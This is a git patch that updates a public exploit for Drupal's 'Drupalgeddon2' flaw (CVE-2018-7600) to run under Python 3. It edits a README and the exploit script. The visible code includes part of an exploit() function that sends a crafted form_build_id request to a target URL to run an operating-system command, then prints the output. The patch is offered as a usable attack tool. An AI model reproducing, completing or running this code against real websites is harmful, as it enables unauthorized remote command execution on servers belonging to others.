From d7371964eeca16330f1462af0d9f2c1eeaa82451 Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sun, 31 Dec 2023 20:13:47 -0500 Subject: [PATCH] Updating to run fine with Python3 --- README.md | 12 ++++++++++++ drupalgeddon2.py | 9 ++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 6df7f92..c055f63 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,16 @@ # drupalgeddon2 + + +This is a duplicate of https://github.com/lorddemon/drupalgeddon2/ + +Just tweaked very slightly to work fine with `python3`. + +That's it. + +----------------------------------------- + + + Exploit for CVE-2018-7600. Usage: drupalgeddon2 options diff --git a/drupalgeddon2.py b/drupalgeddon2.py index 3650c58..da81e54 100755 --- a/drupalgeddon2.py +++ b/drupalgeddon2.py @@ -1,8 +1,6 @@ -#!/usr/bin/python +#!/usr/bin/python3 # coding: utf-8 - - import requests import re import sys @@ -22,9 +20,10 @@ def exploit(url_target,os_command): parametros = {'q':'file/ajax/name/#value/' + found} datos = {'form_build_id':found} r = requests.post(url_target, data=datos, params=parametros) + r.encoding = 'ISO-8859-1' - salida = r.content.split("[{") - print salida[0] + salida = r.content.split(b"[{") + print(salida[0].decode('ISO-8859-1')) def usage(): comm = os.path.basename(sys.argv[0])